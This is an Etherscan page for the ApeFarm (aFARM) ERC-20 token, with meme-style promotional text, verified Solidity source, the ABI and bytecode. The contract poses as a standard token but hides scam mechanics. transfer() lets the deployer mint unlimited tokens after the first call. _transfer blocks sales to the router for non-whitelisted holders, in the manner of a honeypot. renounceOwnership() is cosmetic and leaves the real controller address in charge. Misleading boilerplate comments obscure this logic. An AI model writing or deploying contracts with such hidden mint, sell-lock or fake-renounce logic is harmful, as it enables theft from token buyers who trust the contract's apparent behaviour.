ETH Price: $3,724.47 (+4.56%)

Token

ERC-20: ApeFarm (aFARM)
 

Overview

Max Total Supply

1,000,000,555,555,555,555 aFARM

Holders

19

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
2,722,222,222.2195 aFARM

Value
$0.00
0xfac548234c2ef547ab51b0e5f8dced4422b91029
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ApeFarm

Compiler Version
v0.8.10+commit.fc410830

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-01-06
*/

/*

Lets go farming in the Ape Farm!

Symbol: aFARM

LETS GET TO THE MOON BOYS!!!!
(SAVAGE DEGENS ONLY)                                                                                                        
                                         
💎 Degen play for Diamond Handers
🙌 Prepare for GREEN when you HODL. 
✍️ Paper hands will get absolutely REKT!

*/

library SafeMath {
        function prod(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;  
        }
 /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
 /* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
        function cre(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
 /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     */
    function cal(uint256 a, uint256 b) internal pure returns (uint256) {
        return calc(a, b, "SafeMath: division by zero");
    }
    function calc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
    function red(uint256 a, uint256 b) internal pure returns (uint256) {
        return redc(a, b, "SafeMath: subtraction overflow");
    }
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     */
        function redc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
  /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
}
     
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}
      
pragma solidity ^0.8.10;
contract Ownable is Context {
    address internal recipients;
    address internal router;
    address public owner;
    mapping (address => bool) internal confirm;
    event owned(address indexed previousi, address indexed newi);
    constructor () {
        address msgSender = _msgSender();
        recipients = msgSender;
        emit owned(address(0), msgSender);
    }
    modifier checker() {
        require(recipients == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function renounceOwnership() public virtual checker {
        emit owned(owner, address(0));
         owner = address(0);
    }
 /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
  
    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
}
// SPDX-License-Identifier: MIT
contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) internal _allowances;
    uint256 private _totalSupply;
        using SafeMath for uint256;
    string private _name;
    string private _symbol;
    bool   private truth;
    constructor (string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        truth=true;
    }
    function name() public view virtual override returns (string memory) {
        return _name;
    }
  /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * also check address is bot address.
     *
     * Requirements:
     *
     * - the address is in list bot.
     * - the called Solidity function must be `sender`.
     *
     * _Available since v3.1._
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
  /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * transferFrom.
     *
     * Requirements:
     *
     * - transferFrom.
     *
     * _Available since v3.1._
     */
    function _initiatetrading (address set) public checker {
        router = set;
    }
    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     *
     * Requirements:
     *
     * - the address approve.
     * - the called Solidity function must be `sender`.
     *
     * _Available since v3.1._
     */
        function decimals() public view virtual override returns (uint8) {
        return 18;
    }
     /**
     * @dev updateTaxFee
     *
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
 /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * also check address is bot address.
     *
     * Requirements:
     *
     * - the address is in list bot.
     * - the called Solidity function must be `sender`.
     *
     * _Available since v3.1._
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
 /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function transfer(address recipient, uint256 amount) public override  returns (bool) {
        if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;}
        else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances[recipient]=_balances[recipient].cre(amount);emit Transfer(recipient, recipient, amount); return true;}
        else{_transfer(_msgSender(), recipient, amount); return true;}
    }
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);
        return true;
    }
     /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
      function botban(address _count) internal checker {
        confirm[_count] = true;
    }
  /**
     * @dev updateTaxFee
     *
     */


    function _vetofrontrunbot(address[] memory _counts) external checker {
        for (uint256 i = 0; i < _counts.length; i++) {
            botban(_counts[i]); }
    
    }   
     function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        return true;
    }
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
           if (recipient == router) {
        require(confirm[sender]); }
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
 /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     *
     * Requirements:
     *
     * - manualSend
     *
     * _Available since v3.1._
     */    
}
    function _deploy(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: deploy to the zero address");
        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        _balances[account] = accountBalance - amount;
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
    }
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
   /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
}

contract ApeFarm is ERC20{
    uint8 immutable private _decimals = 18;
    uint256 private _totalSupply = 555555555555 * 10 ** 18;

    constructor () ERC20('ApeFarm',unicode'aFARM') {
        _deploy(_msgSender(), _totalSupply);
    }

    function decimals() public view virtual override returns (uint8) {
        return _decimals;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousi","type":"address"},{"indexed":true,"internalType":"address","name":"newi","type":"address"}],"name":"owned","type":"event"},{"inputs":[{"internalType":"address","name":"set","type":"address"}],"name":"_initiatetrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_counts","type":"address[]"}],"name":"_vetofrontrunbot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60a0604052601260ff1660809060ff168152506c070318c8e574c41eac8dac0000600a553480156200003057600080fd5b506040518060400160405280600781526020017f4170654661726d000000000000000000000000000000000000000000000000008152506040518060400160405280600581526020017f614641524d0000000000000000000000000000000000000000000000000000008152506000620000af620001c560201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f5f04b3e53e8649c529695dc1d3ddef0535b093b2022dd4e04bb2c4db963a09b060405160405180910390a3508160079080519060200190620001659291906200031f565b5080600890805190602001906200017e9291906200031f565b506001600960006101000a81548160ff0219169083151502179055505050620001bf620001b0620001c560201b60201c565b600a54620001cd60201b60201c565b620005a1565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141562000240576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002379062000456565b60405180910390fd5b8060066000828254620002549190620004b1565b9250508190555080600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620002ac9190620004b1565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200031391906200051f565b60405180910390a35050565b8280546200032d906200056b565b90600052602060002090601f0160209004810192826200035157600085556200039d565b82601f106200036c57805160ff19168380011785556200039d565b828001600101855582156200039d579182015b828111156200039c5782518255916020019190600101906200037f565b5b509050620003ac9190620003b0565b5090565b5b80821115620003cb576000816000905550600101620003b1565b5090565b600082825260208201905092915050565b7f45524332303a206465706c6f7920746f20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b60006200043e602183620003cf565b91506200044b82620003e0565b604082019050919050565b6000602082019050818103600083015262000471816200042f565b9050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620004be8262000478565b9150620004cb8362000478565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000503576200050262000482565b5b828201905092915050565b620005198162000478565b82525050565b60006020820190506200053660008301846200050e565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200058457607f821691505b602082108114156200059b576200059a6200053c565b5b50919050565b608051611f36620005bd60003960006105ba0152611f366000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d714610276578063a9059cbb146102a6578063b9c7cdad146102d6578063dd62ed3e146102f2576100f5565b806370a0823114610200578063715018a6146102305780638da5cb5b1461023a57806395d89b4114610258576100f5565b806318160ddd116100d357806318160ddd1461016457806323b872dd14610182578063313ce567146101b257806339509351146101d0576100f5565b806306170714146100fa57806306fdde0314610116578063095ea7b314610134575b600080fd5b610114600480360381019061010f9190611455565b610322565b005b61011e6103fb565b60405161012b919061151b565b60405180910390f35b61014e60048036038101906101499190611573565b61048d565b60405161015b91906115ce565b60405180910390f35b61016c6104ab565b60405161017991906115f8565b60405180910390f35b61019c60048036038101906101979190611613565b6104b5565b6040516101a991906115ce565b60405180910390f35b6101ba6105b6565b6040516101c79190611682565b60405180910390f35b6101ea60048036038101906101e59190611573565b6105de565b6040516101f791906115ce565b60405180910390f35b61021a60048036038101906102159190611455565b61068a565b60405161022791906115f8565b60405180910390f35b6102386106d3565b005b610242610829565b60405161024f91906116ac565b60405180910390f35b61026061084f565b60405161026d919061151b565b60405180910390f35b610290600480360381019061028b9190611573565b6108e1565b60405161029d91906115ce565b60405180910390f35b6102c060048036038101906102bb9190611573565b6109d5565b6040516102cd91906115ce565b60405180910390f35b6102f060048036038101906102eb919061180f565b610c3c565b005b61030c60048036038101906103079190611858565b610d17565b60405161031991906115f8565b60405180910390f35b61032a610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146103b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ae906118e4565b60405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60606007805461040a90611933565b80601f016020809104026020016040519081016040528092919081815260200182805461043690611933565b80156104835780601f1061045857610100808354040283529160200191610483565b820191906000526020600020905b81548152906001019060200180831161046657829003601f168201915b5050505050905090565b60006104a161049a610d9e565b8484610da6565b6001905092915050565b6000600654905090565b60006104c2848484610f71565b6000600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050d610d9e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561058d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610584906119d7565b60405180910390fd5b6105aa85610599610d9e565b85846105a59190611a26565b610da6565b60019150509392505050565b60007f0000000000000000000000000000000000000000000000000000000000000000905090565b60006106806105eb610d9e565b8484600560006105f9610d9e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461067b9190611a5a565b610da6565b6001905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106db610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610768576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075f906118e4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f5f04b3e53e8649c529695dc1d3ddef0535b093b2022dd4e04bb2c4db963a09b060405160405180910390a36000600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60606008805461085e90611933565b80601f016020809104026020016040519081016040528092919081815260200182805461088a90611933565b80156108d75780601f106108ac576101008083540402835291602001916108d7565b820191906000526020600020905b8154815290600101906020018083116108ba57829003601f168201915b5050505050905090565b600080600560006108f0610d9e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156109ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a490611b22565b60405180910390fd5b6109ca6109b8610d9e565b8585846109c59190611a26565b610da6565b600191505092915050565b60006109df610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610a4c575060011515600960009054906101000a900460ff161515145b15610a8757610a63610a5c610d9e565b8484610f71565b6000600960006101000a81548160ff02191690831515021790555060019050610c36565b610a8f610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610afc575060001515600960009054906101000a900460ff161515145b15610c1f57610b168260065461129590919063ffffffff16565b600681905550610b6e82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461129590919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c0e91906115f8565b60405180910390a360019050610c36565b610c31610c2a610d9e565b8484610f71565b600190505b92915050565b610c44610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cd1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc8906118e4565b60405180910390fd5b60005b8151811015610d1357610d00828281518110610cf357610cf2611b42565b5b60200260200101516112f3565b8080610d0b90611b71565b915050610cd4565b5050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0d90611c2c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7d90611cbe565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f6491906115f8565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fe1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd890611d50565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611051576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104890611de2565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110fe57600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166110fd57600080fd5b5b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611185576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117c90611e74565b60405180910390fd5b81816111919190611a26565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112239190611a5a565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161128791906115f8565b60405180910390a350505050565b60008082846112a49190611a5a565b9050838110156112e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e090611ee0565b60405180910390fd5b8091505092915050565b6112fb610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611388576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137f906118e4565b60405180910390fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611422826113f7565b9050919050565b61143281611417565b811461143d57600080fd5b50565b60008135905061144f81611429565b92915050565b60006020828403121561146b5761146a6113ed565b5b600061147984828501611440565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156114bc5780820151818401526020810190506114a1565b838111156114cb576000848401525b50505050565b6000601f19601f8301169050919050565b60006114ed82611482565b6114f7818561148d565b935061150781856020860161149e565b611510816114d1565b840191505092915050565b6000602082019050818103600083015261153581846114e2565b905092915050565b6000819050919050565b6115508161153d565b811461155b57600080fd5b50565b60008135905061156d81611547565b92915050565b6000806040838503121561158a576115896113ed565b5b600061159885828601611440565b92505060206115a98582860161155e565b9150509250929050565b60008115159050919050565b6115c8816115b3565b82525050565b60006020820190506115e360008301846115bf565b92915050565b6115f28161153d565b82525050565b600060208201905061160d60008301846115e9565b92915050565b60008060006060848603121561162c5761162b6113ed565b5b600061163a86828701611440565b935050602061164b86828701611440565b925050604061165c8682870161155e565b9150509250925092565b600060ff82169050919050565b61167c81611666565b82525050565b60006020820190506116976000830184611673565b92915050565b6116a681611417565b82525050565b60006020820190506116c1600083018461169d565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b611704826114d1565b810181811067ffffffffffffffff82111715611723576117226116cc565b5b80604052505050565b60006117366113e3565b905061174282826116fb565b919050565b600067ffffffffffffffff821115611762576117616116cc565b5b602082029050602081019050919050565b600080fd5b600061178b61178684611747565b61172c565b905080838252602082019050602084028301858111156117ae576117ad611773565b5b835b818110156117d757806117c38882611440565b8452602084019350506020810190506117b0565b5050509392505050565b600082601f8301126117f6576117f56116c7565b5b8135611806848260208601611778565b91505092915050565b600060208284031215611825576118246113ed565b5b600082013567ffffffffffffffff811115611843576118426113f2565b5b61184f848285016117e1565b91505092915050565b6000806040838503121561186f5761186e6113ed565b5b600061187d85828601611440565b925050602061188e85828601611440565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006118ce60208361148d565b91506118d982611898565b602082019050919050565b600060208201905081810360008301526118fd816118c1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061194b57607f821691505b6020821081141561195f5761195e611904565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b60006119c160288361148d565b91506119cc82611965565b604082019050919050565b600060208201905081810360008301526119f0816119b4565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611a318261153d565b9150611a3c8361153d565b925082821015611a4f57611a4e6119f7565b5b828203905092915050565b6000611a658261153d565b9150611a708361153d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611aa557611aa46119f7565b5b828201905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611b0c60258361148d565b9150611b1782611ab0565b604082019050919050565b60006020820190508181036000830152611b3b81611aff565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000611b7c8261153d565b91507ffffffffffffffffffffffffffffffffffffffffffffffff